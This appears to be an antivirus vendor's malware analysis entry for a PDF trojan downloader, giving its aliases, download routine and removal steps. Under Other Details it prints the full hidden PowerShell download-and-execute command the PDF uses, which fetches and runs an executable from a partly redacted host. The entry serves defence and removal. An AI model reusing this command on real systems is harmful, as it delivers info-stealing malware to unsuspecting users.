PDF_POWSHELL.B

 Analysis by: Byron Jon Gelera

 ALIASES:

TrojanDownloader:PowerShell/Ploprolo.A (Microsoft); HEUR:Trojan.PDF.Agent.gen (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size:

27,076 bytes

File Type:

PDF

Memory Resident:

No

Initial Samples Received Date:

16 Mar 2017

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan accesses the following websites to download files:

  • http://{BLOCKED}ingworkspr.com/HTL/DRAWING.exe

It saves the files it downloads using the following names:

  • %User Profile%\AppData\Roaming est.exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

Trend Micro detects the dowloaded file as:

  • TSPY_NEGASTEAL.YO

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

  • It executes a powershell script for the download routine using the following commandline:
    "%System%\cmd.exe" /c PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}ingworkspr.com/HTL/DRAWING.exe','%APPDATA% est.exe');Start-Process '%APPDATA% est.exe' {spaces to hide the commands above} PDF Encrypted. Please click 'Open';

NOTES:
It displays the following to trick the user in executing the Powershell command:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.280.03

FIRST VSAPI PATTERN DATE:

16 Mar 2017

VSAPI OPR PATTERN File:

13.281.00

VSAPI OPR PATTERN Date:

17 Mar 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Profile%\AppData\Roaming est.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as PDF_POWSHELL.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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